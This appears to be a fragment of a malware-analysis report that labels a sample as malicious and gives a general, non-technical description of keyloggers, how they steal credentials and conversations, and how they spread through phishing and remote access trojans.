| Verdict: | Malicious activity |
| Threats: | A keylogger is a type of spyware that infects a system and has the ability to record every keystroke made on the device. This lets attackers collect personal information of victims, which may include their online banking credentials, as well as personal conversations. The most widespread vector of attack leading to a keylogger infection begins with a phishing email or link. Keylogging is also often present in remote access trojans as part of an extended set of malicious tools. |
